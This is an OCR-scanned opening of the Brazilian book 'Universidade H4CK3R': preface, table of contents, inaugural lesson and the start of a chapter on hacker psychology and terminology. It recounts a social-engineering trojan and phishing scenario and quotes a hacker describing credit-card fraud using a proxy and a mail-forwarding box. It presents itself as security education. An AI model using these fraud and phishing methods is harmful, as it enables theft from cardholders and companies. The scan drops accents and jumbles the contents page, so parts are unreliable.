Você está na página 1de 331

unlversloao

Jniversidade

H4CK3R I

Contedo extra
No Co: alm das ferramentas hackers, voc encontra os apndices do livro em formato POF na ntegra. Na Internet: basta se cadastrar no site www.digerati.comllivros para ter acesso s atualizaes, erratas e ao material que preparamos especialmente para complementar seus estudos. Atravs da pgina voc tambm poder enviar e-mails com dvidas, crticas ou sugestes para o editor ou para os autores.

universidade
4a EDICAO ,
HENRIQUE CESAR ULBRICH JAMESDELLA VALLE

I Universidade

H4CK3R I

@2004 by Digerati Books Todos os direitos reservados e protegidos pela Lei 5.988 de 14/12/73.Nenhuma parte deste livro, sem autorizao prvia por escrito da editora, poder ser reproduzida ou transmitida sejam quais forem os meios empregados: eletrnicos, mecnicos, fotogrficos, gravao ou quaisquer outros. Editor: Luis Matos Projeto grfico e Arte: Mau rcio Costato Capa: Jos Antonio Martins Ilustradores: Daniel Brito e Helber Bimbo Revisoras: Angela das Neves, Cntia Yamashiro e Priscila Cassetari Produo do CD-ROM: Marcelo Bruzzesi, Raphael Pansutti e Gunther Khun Autores: Ulbrich, Henrique Cesar Della Valle, James Simone Ribeiro de Carvalho,

Universidade Hacker

- 4a Edio
12 andar

Digerati Comunicao e Tecnologia Ltda.


Rua Haddock Lobo, 347
-

CEP 01414-001 So Paulo/SP Fone: (11)3217-2600 Fax: [11J3217-2617 www.digerati.com

Diretores

Alessandro Gerardi - Igerard/@digerat!:combrJ


Luis Afonso G. Neira - lafonso@digerat/combrJ Alessio Fon Melozo - lalessio@digerat!:combrJ Gerente de Vendas: Pierre Abreu Ivendas@digerat/:combrJ Divulgao: rica Cunha lerica@digerat!:combrJ Assessoria de Imprensa: Simone Siman Isiman@digerat!:combrJ ISBN: 85-89535-01-0

141

Prefcio

No de hoje que o hackerismo fascina milhares de pessoas em todo o mundo. Vrias imagens foram criadas sobre os hackers1, algumas colocando-os como justiceiros, com poder de combater e desfalcar grandes corporaes; outras, mostrando-os como simples bandidos atrs de uma forma ilcita de obter lucro, seja roubando dinheiro ou informaes sigilosas. H ainda uma terceira viso que coloca o hacker como um pesquisador, algum que busca sempre aprimorar seus conhecimentos atravs do estudo de sistemas alheios. Ao mesmo tempo em que exercem fascnio, eles tambm amedrontam usurios e particularmente empresas, que temem ser invadidas e ter dados confidenciais roubados. H muito tempo os hackers atuam, mas inegavelmente foi no incio de 2000 que eles ganharam as manchetes de jornais e revistas em todo o mundo. Durante trs dias, na primeira quinzena de fevereiro daquele ano, uma ao coordenada por um grupo de hackers prejudicou o funcionamento e gerou grande prejuzo a sites muito populares como Yahoo!,Amazon, eBay,ZDNet, Buy.com e CNN.com. A ao foi realizada com um artifcio considerado simples, chamado DoS (Denial of Service, recusa de servio). Nesse tipo de ataque, os hackers no entram nos computadores das vtimas para roubar informaes. Eles simplesmente os bombardeiam com uma quantidade to grande de dados que o acesso a elas fica bloqueado. Identificar os hackers que fazem esse tipo de ataque especialmente difcil porque eles usam milhares de mquinas espalhadas pelo mundo, sem que
1 Neste livro usamos a palavra hacker em seu significado mais popular. Entretanto, sabemos que o sentido correto da palavra hacker outro, mais abrangente. Hacker o sinnimo de especialista, em qualquer rea. Se o seu jardineiro, por exemplo, for muito bom, ele pode ser considerado um "hacker em jardinagem".

I Universidade

H4CK3R I

os donos se dem conta. Esses computadores funcionam como "escravos" sob o comando de um mestre a distncia, que invadiu e dominou esses equipamentos que, na maioria das vezes, possuem conexo de acesso rpido Internet. Passados trs anos desse episdio em que o mundo olhou pela primeira vez com um certo medo a ao dos hackers, as empresas se armaram, contrataram especialistas, novos sistemas de segurana foram desenvolvidos e as equipes foram treinadas para evitar invases.Tambm uma infinidade de ttulos mostrando como agiam os hackers foi lanada. O resultado? Os hackers continuaram agindo e aumentando seu poder de fogo cada vez mais. Para se ter uma idia, em 21 de outubro de 2002, um poderoso ataque conseguiu derrubar nove dos 13 servidores que gerenciam o trfego mundial da Internet. Na poca, um oficial do gov~rno americano descreveu o ataque como a invaso mais sofisticada em grande escala j feita em toda a histria da Internet contra computadores de misso crtica. Por que os hackers ainda continuam agindo? Por que os administradores no conseguem barrar sua ao? A resposta para essas e muitas outras perguntas podem ser conferidas nas prximas pginas. Pela primeira vez, um livro mergulhou fundo no universo hacker para revelar as mais modernas tcnicas usadas e as diferentes motivaes que os levam a continuar atacando. Seja bem-vindo a Universidade Hacker.

Luis Matos

161

Sumrio

Prefcio
Parte I
Universidade 1 Ano: Formando o Script Kiddie O. AuLa Ina ugura L
-

5
15

17
18
19
20 20 21 22

Informao: A chave de tudo O mito hacker

- Mocinho ou vilo - Descaso das empresas - Avalanche de ataques

- Bem-vindo s aulas

1. PsicoLog ia Hacker ~ o verdadeiro hacker e o hacker

25
mostrado na mdia 26

~Sopade letrinhas: Hackers, crackers, phreakers ~ Oque so, como pensam e como agem - Aprendizado - Comprometimento - Compartilhamento

- Ei!Isso importante!
~ Por que algum gastaria tempo e dinheiro numa invaso?

28 30 30 31 31 32 33

2. RedesI
~1 ntrod uo
- Conceituao

35
36 36

~ Estrutura fsica - Equipamento adicional

37
38

Abrangncia ~ Topolog ias


-

38 39
39 41 42

- Principais topologias ~ Protocolos - Como funcionam


-

Matrioshka

~ Ethernet ~ Omodelo OSI - Camadas - Um exemplo prtico ~ SPX/ IPX

44 45

47
47 50

52
52

- Camadas ~ NetBIOS / NetBEUI / 5MB/ CIFS


- Camadas ~AppleTalk - Camadas

53
54

55
55 171

I Universidade

H4CK3R

I
55 55 56 56 57 57 57 57 57 57 58 59

~ TCP1iP - Camadas - Entendendo o TCP/!P - Oprotocolo /P - Endereo /P - Mscara de Rede - TCP/UDP - Portas - DNS - ARP ~ Laboratrio de Redes I - VVtndows9.x

...

3. PLataformaWindows
~ As "famlias" Windows - Famlia VVtn9x - Famlia VVtnNT ~ Nos bastidores - Estrutura - Entidades ~ Como mesmo que fao aquilo - Os arquivos /N/ - Registrar o qu? - Estrutura do registro - CLS/D? - Um pouco de graxa para os cotovelos - O tesouro ~ Where to, buddy?

63
64 6465 66 66 68 76 76 77 78 79 80 81
, "

83

4. PLataformas Un ix
Unix de sistemas operacionais -Apenas um jogo de computador - POS/X - Dezenas de sabores sua escolha... ~ As entranhas da fera
~
-

85
...... 86 87 88 89 89

o modelo

Estrutura

90
90 93 95

- Sistema de arquivos ~ O cerne da questo - Dispositivos - Processos Ino, no papo de advogado I - 5; poderia me fazer um favor? - Comunicao entre processos - SInais e semforos ~ Na praia catando mexilhes - MInha coleo de conchas - Script for a .Jesters tear - Todos os segredos esto no/etc - /nittab and the Runlevels (parece banda de rock, mas no ... 181

96
97

98
99 101 102 102 103 103

- Outras gemas ~ O meu eu quero de flocos... - Free as in free speech - A dana dos pingins - O diabinho que rL ~Vou can go your own way...

...

105 106 106 107 108 108

5. Fundamentos Jurdicos
~ Por que a sociedade teme os "hackers"? ~ As liberdades individuais e o direito privado ~ O direito informao e os ataques liberdade ~ Alegislao brasileira ~ Leis internacionais aps o dia 11de setembro de 2001 - Nos Estados Unidos - Na Europa ~ Casos de hackers famosos - O russo que 'nackeou" a Adobe - O hackermais famoso do mundo

111
112 113 114 115 118 118 119 119 119 120

6. Engenha ria Sacia L


~ Ateno: isso crime! ~ Tipos de ataq ue
- Ataque direto - Ataque indireto
,

123
124
125 ... 125 125 , 125 ... 126

~ Mtodos utilizados
- Disfarces ,

- O lixo rico I , - Funcionrios descontentes e redes de contatos

126 127
127

- O apelo

sentimental.

- Programao neurolingstica. -A utilizao da Internet - O fator sorte - Navegando no mar proIbido ~ Casos rea is - Abraham Abdallah - Kevin Mitnick

,...
, ...

127 127 128 128


128

129 129

7. VuLnera biLidades I
~ Noes de vulnerabilidade - Superlammers e sua viso de Raio-X
"

131
132

133
,

~ Osquatro passos para um hackingfeliz


~ Search and Destroy - Logins fracos - Arrombando a porta da frente - Sem quebrar o ovo no se faz omelete - Scanners - Portscanners - Funcionamento de um scannerde portas

134
136 136 136 138 141 141 143

191

I Universidade

H4CK3R I
,

- Scanner de vulnerabilidade - Exploits ~ EmTria, como os gregos... ~Asfalhas desegurana mais comuns em micros domticos - TCPSYNScanningversusWndows 98 - Compartilhamentos em computadores Wndows (SMB/ClFS)
-

144
145 146 148

148
148

Servios desnecessariamente ligados

150
151 151 152 153 153 ,... 154

- Buffer Overflow nos servios de Remote Procedure Cal! ~ Laboratrio de Vulnerabilidades I ~ Configurando o servidor - Juntando as coisas - Porta dos fundos ~ Consideraes fina is

Parte

11 2 Ano: O caminho de um Voyager 155

Universidade

8. Redes

II

157
158 159
160
,

~ TCP/IP: o incio ~ 051 versus TCP/IP


-

Camadas dos protocolos de rede

~ Protocolo

IP

160 IP , 161 164 165 166 167 169 171 172 173 176 178 179 179 180

- O pacote IP - Endereamento - Redes e Hosts ~ Protocolo TC P

- Opacote TCP - Portas TCP - Os bits de controle TCP ~ Protocolo UOP ~ Protocolo ICMP ~ Laboratrio de Redes 1I ~ Rotea mento ~ Internet ~ Sub- red es ~ Redes Wi reless - Rdio - IEEE 802.11 - Infravermelho - Bluetooth ... - 6SM - 2,56 - 36
- W'Fi'

180
180

180
181 181 181 181
181

9 Vulnera biLidades II
~ Navegando anonimamente - Proxies pblicos - Proxies privados - Squid ,.. ... - WinGate . ~Anonymous remailers ~ Furando firewalls - Firewa!!s - Filtros de pacotes - Proxies - Filtros de pacotes por estado (SPF/ - Pesquisando as regras do filtro de pacotes ~ Servidores Web - Apache - Sun ONE/iPlanet - Microsoft Internet Information Services (115/ - Common Gateway Interface (CGI/ - PHP e ASP ,... ~ Defacements ~ Banco de Dados - Conectando diretamente via Internet - Senhas na Web (teoria x prtica/ ~ Estamos todos vulnerveis?

183
185 185 188 190 190 191 193 194 194 196 197 197 198 199 199 200 201 202
203

204 204 205 209

Parte

111

Universidade 3 Ano: Tornando-se

um Hacker

211

10. Ataque, defesa e contra-ataque: Introduo


~ Os seis passos para um hacking feliz - Oportal - Passos para hacker fulano de tal - Uma palavra final sobre planejmento

213
214 217 221 223

11.

Ataque, defesa e contra-ataque: Observao

225
226
227 227 229 229 230 232

~ Engenharia Social ~ A 9ra nd e teia - O Google seu amigo - At tu, Brutus? - Quem esse cara? ~ Sign your na me across my heart ~ Defesa e contra-ataque

12. Ataque, defesa e contra-ataque: Busca


~ Cartografia aplicada Internet - Varre, varre, vassourinha... -Argh! Mas isso d trabalho!

235
236 237 240

/11 /

I Universidade
-

H4CK3R

I
240

~ Procurando portas abertas

Escolhendo asportas de origem

241
242 243 243 243 244

- Varrendo sob o tapete - Impresso digital na Web - Tem mais? ~ Procurando brechas ~ Defesa e contra-ataq ue

... ... """""""""""""""'"

13. Ataque, defesa e contra-ataque: Invaso


~ A invaso em etapas ~ War Dialing + Brute Force - Conhea suas armas - Ah, a fora bruta to linda... ~ Entendendo o estouro de pilha
-

247
248 249 249 251 252

Um amontoado de coisas...

252
253 257 259 263 264 265

-As pilhas no reino digital - Debug in on the table ~ Ganhando acesso por estouro de pilha ~ Ganhando acesso a outras contas - Mtodos para descobrir usurios e senhas - Quebrando senhas no Windows
-

Quebrandosenhas no Unix

267
268 268 269 270 273 275 277 282 285 286 290 293 295 297 298 305 306 306 307 309

~ Ganhando acesso e destruindo a rede - War Driving e War Chalking """"""""""""""""""""""""""'''''''''''''''''''''''''' - Indo alm do SQL Injection... - Farejando a rede (SmffingJ - Smffing passivo """""""""" - Sniffing ativo - Escolhendo seu sabujo - Farejando na prtica - Quando a caa v ~ Who can you trust? ~ Captura de sesses [Hijacking] - Selecionando seus combatentes - Seqestro na prtica - Outros mtodos de desviar trfego - Navegao de servio - Masters and Slaves ~ Defesa e contra-ataque - WarDialing Brute Force - Quebra de senhas - Negao de servio

14. Ataque, defesa e contra-ataque: Manuteno


~ Backdoors - Portas de tr maliciosas
-

313
314 315
316
319

Novamente,'Attu,Brutus?"

~ Vrus e Cavalos de Tria

112 I

- Mais uma vez, Vrus

319

- Vrusaindaindetectveis .,
- Indo alm dos Cavalos de Tria - There is no spoon ~ Comunicao sem conexes - Ouvindo moucos - Farejando problemas ... - Atualizando a camuflagem - Layer-O: como funciona ~ Defesa e Contra -ataq ue - Backdoors, Vrus e Cavalos de Tria - Comunicao sem conexes ~ Estamos quase l

319
320 323 326 326 327 328 329 331 331 334 335

15. Ataque, defesa e contra-ataque: Evaso


~ o bsico: apagando os logs
- Registro de eventos Unix - Registro de eventos no Microsoft NT/2k/XP ~ Escondendo suas conexes ~ Defesa e Contra-ataque - Apagamento de logs - Camuflagem de conexes ~ Uma despedida?

337
,... 338

339 345 346 347 ,.. 347 347 348

Apnd ices
~ Introduo aos Sistemas Operacionais ~ Plataformas Novel Netware ~ Programao I ~ Programao II ~ Hardware ~ Informtica bsica ~ Um pouco de histria ~ O Kernel do MS-DOS ~ Histria da Internet ~ B-a-B do Unix

no CD

113 I

Universidade 10 Ano:

Formando o Script Kiddie

Aula Inaugural

caPtuLoO
''ideologia. Eu quero uma pra viver!"

Cazuza

I Universidade

H4CK3R I

Aula inaugural
"Meu crime a curiosidade, subestimar os mais poderosos mesmo quando errados. Meu crime saber tudo sobre todos, ser mais esperto. Estou preso, mas por uma causa justa". A frase acima foi proferida por um hacker que foi preso acusado de tentativa de extorso. Ela no somente reveladora de seu pensamento, mas, de forma geral, expressa o pensamento de boa parte da comunidade hacker. Na maioria das vezes, o que move um hacker em suas incurses por sistemas alheios a adrenalina produzida pelo risco combinando com a satisfao da vitria. Muitos pensam que esto em uma guerra, na qual matar ou morrer significa invadir ou no o sistema.Tudo tem de ser bem pensado para conseguir o objetivo fmal e o risco algo que aumenta a adrenalina. Quanto mais difcil, melhor. Poderamos dizer que o hacker somente uma pessoa em busca do conhecimento, de desvendar mistrios, de invadir a linha do inimigo para saber seus segredos e alertar a todos sobre o que viu? No, certamente no. Estamos desconsiderando um fator muito importante. Imagine voc tomar contato com o nmero do carto de crdito de 10 mil pessoas, ou mesmo ter acesso a informaes extremamente sigilosas sobre empresas. Poucos resistiriam tentao de fazer uso dessas informaes. Alguns pensariam: vou usar somente um nmero de carto uma nica vez e depois eu paro. como uma pessoa se vicia na droga, no? Uma primeira vez, uma segunda, e quando v no consegue se livrar do vcio. Sem contar que o hacker tambm tem de lutar contra sua vaidade. Invadir somente no tem nenhum mrito se os outros no ficarem sabendo. No verdade? A a vida do hacker comea a se complicar.

Informao: a chave de tudo


Como num combate real, tudo vlido para obter uma informao que ajude no acesso ao sistema. Kevin Mitnick, considerando um dos maiores hackers de todos os tempos 1, se especializouem uma tcnica batizada de engenharia social. Para compreender melhor como todos podem ser facilmente enganados por hackers malintencionados, acompanhe o relato feito recentemente por Mitnick em entrevista revista PC Brasil, publicada pela Digerati Editorial. "00. Imagine que voc est trabalhando para uma corporao.Ao entrar em um elevador, nota que algum deixou cair um disquete no cho. O disco tem estampado o logo da empresa e traz uma etiqueta que diz: "Confidencial: histrico salarial de todos os funcionrios". Diante disso, qual a primeira
1 Apesar dos hackers realmente bons nunca serem pegos

JI

Aulainaugural [

providncia que voc tomaria? Movidos pela curiosidade, colocamos o disquete na mquina e abrimos o arquivo para ver seu contedo. Talvez exista um cone para um documento do Word chamado "arquivo de folha de pagamento" ou "histria salarial". Provavelmente clicaramos para comparar nosso salrio com o dos demais. O que acontece, ento? Voc v uma caixa de mensagem que diz algo como "o aplicativo no pde ser aberto" ou "arquivo falho". O que a maioria no sabe que um cavalo de tria acaba de ser instalado, o que permitir que um intruso a invada.Voc vai devolver o disco para o setor de recursos humanos, onde algum vai verific-Io - agora o hacker tem acesso a dois computadores. Esse um exemplo de ataque indireto. Um ataque direto aquele em que o invasor se comunica diretamente com a vtima via telefone, fax, e-mail ou at pessoalmente. Na maioria dos casos, o ataque no personalizado - visa outro empregado, por exemplo - e tenta persuadilos para que revelem informaes, instalem softwares ou acessem um site que prejudique a estrutura computacional da empresa. Digamos que um hacker queira atingir a John Wiley & Sons. Ele ou ela deve construir um web site que parea totalmente confivel. O site tem um programa de registro e pede aos usurios que coloquem um login e uma senha. O invasor ento envia um e-mail para mil empregados da Wiley, encorajando-os a registrarem-se em troca de um prmio. O e-mail tambm contm um link para o website criado pelo invasor. Digamos que 10% dos empregados que recebem o e-mail realmente respondam. E suponhamos que 10%dos registros usem a mesma senha do servio (para no ter de decorar vrias senhas). Com apenas 25 endereos de e-mails e senhas, o hacker tem formas variadas de acessar o sistema computacional da Willey".

o mito hacker
Muito mais do que um especialista, o hacker considerado por muita gente como um criminoso. Aquele indivduo do qual as empresas devem se proteger, pois ele pode a qualquer momento invadir sua rede de informao provocando srios prejuzos. tambm aquela pessoa que pode vir a roubar dados, senhas e nmero de cartes dos usurios que fornecem essas informaes para as empresas nas quais fazem compras. Essa imagem alimentada por alguns grupos hackers que agem verdadeiramente como criminosos, e apossando-se de dados confidenciais e fazendo uso destes. Veja este relato: "O maior golpe foi a compra de trs laptops de uma vez na Semp Toshiba, que foi feita normalmente, num sbado noite.Abri meu Opera, pus meu proxy e fui s compras. Bom, o total foi 14 mil dlares, e a compra foi aceita, parcelada no

119 I

]Aula

inaugural

I Universidade H4CK3R I

carto em 6 vezes. Mas o dono do carto cancelou e meu pedido no veio (essa parte a pior: cancelamento da compra). Mas isso foi h muito tempo, no incio. Agora, ns compramos muitos livros, softwares, domnios, notebooks, etc. Uma das minhas compras bem-sucedidas foi de um CD-ROMe um monitor de 1T, tela plana, com valor de 2 mil dlares, mas no fiquei com nada, vendi. No caso da compra na Semp Toshiba, que foi cancelada um dia depois, o endereo da entrega era da lanbox (lanbox um P.O. Box dos EUA que redirecionado ao seu endereo verdadeiro), e a entrega do CD e do monitor foi na casa de um amigo..." 2

Mocinho ou vilo?
Como tudo na vida, no possvel generalizar os diferentes tipos de hackers, nem rotular todo esse imenso grupo da mesma forma.Tambm imprescindvel destacar que os hackers, mesmo que algumas vezes involuntariamente, acabam ajudando a revelar bugs em softwares e problemas existentes em redes, que poderiam resultar em graves conseqncias para usurios de redes corporativas ou da Internet. Um exemplo disso foi dado em um dos maiores ataques cibernticos da histria realizado em outubro de 2002, que derrubou boa parte dos principais servidores dos EUA.Ele mostrou alguns furos importantes na segurana da Internet, que so at conhecidos. Mas tambm revelou outra coisa: a superconcentrao de servidores nos Estados Unidos. Apesar de ser uma rede que chega a quase todos os pases do mundo, ainda 70% das mensagens passam por servidores ou roteadores norte-americanos. No estamos mais nos velhos tempos, em que a quantidade esmagadora de internautas era americana. Portanto, mudanas devem ser feitas seguindo o esprito que criou a prpria Internet: a descentralizao da comunicao. Alis, isso um importante fator de segurana bsico, mas totalmente esquecido. Quando a maior parte do trfego da Internet fica concentrada em pouco mais de dez superservidores, fica mais fcil organizar um superataque. "Nunca coloque todos os ovos no mesmo cesto." 3

Descaso das empresas


Muitos bugs que permitem a ao de criminosos poderiam ser facilmente corrigidos, mas muitas companhias preferem fazer vistas grossas a esses problemas, sendo, em muitos casos, at bastante displicentes. o que mostra uma pesquisa feita pela Mdulo Security Solutions4, empresa especializada em segurana. Segundo os dados coletados, a segurana da informao fator importante para 45% dos executivos, sendo que 16% a consideram crtica e 32% a classificam como vital. Mesmo assim, a falta de conscientizao dos executivos
2 Trecho de entrevista do Hacker cshr, membro do cl CarderBR, revista H4CK3R 3 Voc deve conhecer este ditado, no ? Parece que os americanos no... 4 Pesquisa divulgada no flnal de 2002

20

Aula inaugural[

(45%) e dos usurios (38%) foram apontadas como os principais obstculos para implementao da segurana nas corporaes. Um dado revelado pela pesquisa extremamente preocupante: 43% das empresas reconheceram ter sofrido ataques nos ltimos 12 meses, representando um aumento de 10% em relao a 2001, sendo que 24% das ocorrncias foram registradas nos ltimos seis meses. Mas o pior de tudo que 32% no souberam informar se foram atacadas ou no e, apesar da expectativa de aumento nos problemas com a segurana e o crescimento no ndice de registros de ataques e invases, a pesquisa mostra que apenas metade das empresas brasileiras (49%) possuem planos de ao formalizados em caso de ataques. Outro dado interessante aponta que os hackers (48%) foram os maiores responsveis por ataques e invases em 2002, representando um aumento de 15% com relao a 2001. Em segundo lugar vm os funcionrios, que passaram de 24 para 31%. Surge tambm uma nova ameaa, no registrada na pesquisa anterior: a categoria ex-funcionrios, que registrou 8%. O percentual relativo a prestadores de servio passou de 3 para 12%e o dos concorrentes de 1 para 4%. O pior de tudo que a percepo de falta de segurana nas transaes continua sendo o maior obstculo para o desenvolvimento de negcios digitais em escala global. So nada menos do que 66% os usurios que deixam de comprar pela Internet por causa da sensao de falta de segurana.

Avalanche de ataques
Todos sabemos que h vrios fatores que contribuem para a intensa atividade hacker. Para comear, h muitos sites inseguros. Um estudo do Gartner Group estima que 2/3 dos servidores da Web no mundo podem ser invadidos de alguma forma. Outro fator que estimula a atividade hacker a ampla disponibilidade de ferramentas de ataque na Internet. Qualquer adolescente com tempo livre e conhecimentos tcnicos medianos consegue encontrar as informaes e os softwares necessrios para uma invaso. Mas o principal motivo ainda a impunidade. Os poucos policiais que investigam crimes digitais no Brasil no conseguem atender a todos os casos. Alm disso, a falta de uma legislao especfica dificulta a punio do culpado, se bem que alguns hackers podem ser enquadrados com base no Cdigo Penal de acordo com o crime praticado. Para se ter uma idia da quantidade de aes hackers, um estudo da Universidade da Califrnia mostrou que os hackers tentam realizar mais de 4 mil ataques do tipo DoS (Denial ofService) todas as semanas, um nmero bastante impressionante e que mostra que h muito do que se proteger no mundo virtual.

21

]Aula

inaugural

I Universidade

H4CK3R I

Bem-vindo s aulas
"Na hora de tentar invadir um site, meu corao disparava e a adrenalina ia a mil por hora. O medo de ser pego, junto com a perspectiva de vitria e sucesso, causava uma euforia tamanha que no d para descrever. Depois que todo mundo fica sabendo do seu feito, a s curtir a fama". Relatos como esse, feito por hackers, podem at pintar um mundo cheio de aventura e emoo para quem invade sites e sistemas. Mas a verdade que no bem assim. Nas prximas pginas voc ter a oportunidade de conhecer muito desse universo hacker, aprendendo a teoria e exerccios prticos para quem deseja dominar as tcnicas hackers. Nem seria preciso dizer que nosso objetivo formar pessoas extremamente conhecedoras em informtica que possam usar esses conhecimentos para trabalhar com segurana, desvendando vulnerabilidades e buscando solues. Organizamos os assuntos ao longo do curso de forma a preencher as necessidades do aluno. Entretanto, entendemos que muitos j "iniciados" vo ler este livro. Portanto, separamos os assuntos em trs grandes grupos: prrequisitos, hackerismo bsico e hackerismo avanado. Deixamos no livro impresso os assuntos sobre hackerismo, e o que consideramos como "prrequisito" (programao, sistemas operacionais e hardware ) inclumos no CDROM como apndices. Assim, suprimos as necessidades de quem est comeando "do zero" e no penalizamos o "iniciado" com pginas cheias de coisas que ele j sabe. O uso indevido das informaes aqui prestadas, bem como de informaes apresentadas em qualquer livro, seja ele sobre redes, servidores de Internet, sistemas operacionais, programao e outros, so de inteira responsabilidade de quem as utilizou. Vale lembrar que no momento em que este livro foi redigido j estava em vigor a nova lei de crimes digitais no Brasil e a Homeland Security Act nos Estados Unidos. Alm disso, preciso considerar que todos os infratores esto sujeitos legislao do Cdigo Penal e do Cdigo Civil no pas. Portanto, aproveite as prximas pginas para ampliar seus conhecimentos em diferentes tpicos do mundo da informtica e para se tornar um verdadeiro especialista em segurana. E, o principal, use com responsabilidade este conhecimento.. .

Luis Matos

~2 I
Aula inauguraq

Captulo

"S digno de seu poder aquele que o

justifica dia aps dia "/ Dag Hammarskjold Secretrio-geral da ONU e Prmio Nobel da Paz de 1961

I.As citaes deste livro esto todas em suas lnguas originais, exceo desta. Como foi um discurso nas Naes Unidas (e, portanto, oficialmente traduzido para vrias lnguas), preferimos coloc-Ia em portugus.

I Universidade

H4CK3R

Sim, ns sabemos. Voc comprou este livro para obter informaes tcnicas. Mas ns no adotamos esse modelo de curso universitrio toa: existem certas coisas fora da esfera tecnolgica que voc precisa conhecer, mesmo que no esteja muito interessado nelas. Assim como na faculdade de Direito estudamos economia e na de Engenharia Eltrica estudamos administrao, aqui em nosso

Curso Superior de Hackerismo teremos de estudar o comportamento e o modo


de pensar das pessoas que dedicam sua vida a essas atividades. Se voc comprou este livro pensando em "virar um rquer" (como diria Susumo

Pop, guitarrista, hacker do Linux e bancrio nas horas vagas), provavelmente


tem uma noo do que vamos tratar aqui. Parece bvio que voc o saiba, j que quer ser um deles. Recomendamos a leitura deste captulo, entretanto, pois provavelmente voc tem idias completamente distorcidas ou romantizadas do que significa ser um "hacker" (note as aspas). Talvez, aps a leitura deste captulo, voc queira mudar de postura e tornar-seo que se constuma chamar de" hacker de verdade"; talvez desista de tudo e v viver de pesca em Cabo Frio ou mesmo continue com sua idia inicial de pixar sites e invadir computadores. Se, por outro lado, voc comprou este livro pensando em como deixar sua rede, seu servidor Unix ou as estaes Mac e Wmdows de seus fimcionrios mais seguras, esta introduo obrigatria. De nada adianta estar antenado no Security Focus ou

nos hotfixes da Microsoft e configurar de forma paranica seu binmio Firewa1l+AntivtrUs, se voc no compreender como fimciona a cabea de quem o
invade. Acredite, voc v seu sistema pelo lado de dentro. Seus inimigos o fazem pelo lado de fora. A perspectiva pela qual os invasores enxergam sua rede no pode sequer ser imaginada se voc apenas "segue a cartilha".

o verdadeiro Hacker e o ~~Hacker"mostrado na mdia


Notcia veiculada em uma revista de grande circulao: "Em setembro de 2000, um hacker invadiu uma indstria de brinquedos britnica"... O que podemos depreender dessa frase pela forma como est escrita? Temos duas possibilidades: 1 Que uma pessoa usou seus conhecimentos de hacker para invadir o site daquela indstria. Nessa interpretao, a palavra hacker no est associada bandidagem, mas habilidade dele em relao aos sistemas de informao. Ele usou esses conhecimentos para o mal, no sendo o conhecimento em si algo
malfico.

2 Que existe uma nova classe de bandidos digitais chamados" hackers", e um deles invadiu o tal site. Nessa interpretao, a palavra hacker quer dizer, literalmente, criminoso digital. 1261
Psicologia Hacker r

Universidade 1ano

Um outro exemplo talvez seja mais esclarecedor. Imagine um ataque terrorista no Pas Basco, regio da Espanha. O ataque foi realizado por guerrilheiros do grupo separatista basco ETA,visando independncia do que julgam ser sua terra. A notcia poderia ser veiculada da seguinte forma: "Uma bomba explodiu hoje em um supermercado em Madri, matando 90 pessoas e deixando feridas outras 174. Um basco, guerrilheiro do grupo separatista ETA,assumiu o atentado". Nesse pargrafo est implcita a idia de que todo basco guerrilheiro e pertence ao ETA.O sujeito da orao basco e no guerrilheiro do ETA.Deixando a frase dessa forma, dizemos que quem explodiu a bomba foi um cidado basco que tem como adjetivo ser guerrilheiro do ETA.Uma notcia como esta poderia ser melhor escrita da seguinte maneira: "Uma bomba explodiu hoje em um supermercado em Madri, matando 90 pessoas e deixando feridas outras 174. Um guerrilheiro do grupo separatista basco ETA assumiu o atentado". Pronto! Agora temos a palavra guerrilheiro como sujeito da orao. Esse guerrilheiro tem como adjetivo a orao "do grupo separatista basco ETA".Ou seja, ele , sim, basco. Mas no necessariamente todo basco tem a obrigao de ser membro do ETA. Um outro exemplo: um padre acusado de pedofilia. A manchete poderia ser "padre processado por pedofilia, estupro e seduo de menores". De maneira anloga dos hackers, poder-se-ia depreender da que h uma nova categoria de tarados chamados padres. Obviamente isso no verdadeiro, mas o que a redao sem cuidado pode fazer por uma categoria profissional decente. A imprensa comeou a prestar mais ateno aos hackers no [mal da dcada de 80. Supomos que os primeiros jornalistas que escreveram manchetes sobre ataques digitais tinham a inteno de usar a palavra em seu sentido correto. Entretanto, construes frasais ambguas certamente levaram os leitores, ouvintes e telespectadores a associar erroneamente a palavra hacker com o significado de criminoso digital. Tal erro nunca foi corrigido, e hoje vemos o significado incorreto do termo sendo consagrado. Aquela manchete da nossa revista ficaria melhor se reescrita assim: "Em setembro de 2000, um especialista em informtica usou seus conhecimentos de hacker para invadir uma indstria de brinquedos britnica...". Talvez a manchete pudesse ser mantida, mas um esclarecimento no primeiro pargrafo (ou mesmo em um dos olhos da matria) seria necessrio. Este livro, a contragosto dos autores, simplifica o termo hacker para seu significado popular e incorreto: criminoso digital. Sabemos que no do interesse da comunidade hacker que esta confuso continue. Para fins didticos usaremos o termo popular, mas sempre com ressalvas dentro do texto ou no rodap da pgina. 1271

] Psicologia

Hacker

I Universidade

H4CK3R

Sopa de letrinhas: hackers, crackers,


phreakers...
Antes de tentarmos entrar na alma de nossos queridos rebeldes, temos de fazer uma distino entre eles. H uma certa hierarquia imposta aos que decidem iniciar sua jornada pelo conhecimento da Tecnologia da Informao. Eles costumam se agrupar em sociedades secretas comumente chamadas de cls. Alguns agem (e gostam de agir) sozinhos. Outros atuam soz,inhos e atribuem suas aes a todo um cl to numeroso quanto fictcio. Nem todos desejam realmente ser criminosos. Alguns agem por motivaes que vo de torpes a nobres, passando pela estultcie. Mas tanto os "bons" quanto os "maus" hackers so rebeldes e vivem em um mundo que possui suas idiossincrasias, seus folclores e mesmo suas crendices. A estratificao deles em camadas2 um dos folclores desse meio. bvio que essa diviso varia de cl para cl. Em alguns, essa classificao aceita como regra, em outros apenas informalmente. Muitos a abominam, taxando-a de tola e infantil, mas vez por outra acabam usando um termo desses em algum canal de IRe. - Newbie - Todo mundo j foi, e certamente ser iniciante em alguma coisa.No importa se sobre relacionamentos amorosos, tecnologias de Internet ou mecnica de aviao:todos temos um dia em que nos sentamos, pegamos um livro e pensamos "agora vou aprender esse negcio". O newbie o que chamamos em portugus de iniciante ou calouro. a pessoa que tem poucos conhecimentos em informtica e est vida para aprender. o usurio final mdio de sistemas de informtica. - Luser - Em oposio a newbie, colocamos no mesmo balaio a expresso pejorativa luser,cunhada pela unio das palavras inglesas user (usurio) e loser (perdedor). Um luser,ao contrrio do newbie, no quer aprender nada. Pelo contrrio, quer saber s o mnimo necessrio para operar o computador e tenninar a tarefa o mais rpido possvel. Os lusers normalmente so usados como vtimas intermedirias dos hackers para chegar a um objetivo maior. O newbie costuma ser chato, mas o luser um perigo, principalmente para a pacincia do pessoal de suporte tcnic03. - Lamer - Um usurio comum (newbie ou luser) fatalmente aprende a usar alguns programas. No sabe ou no tem condio 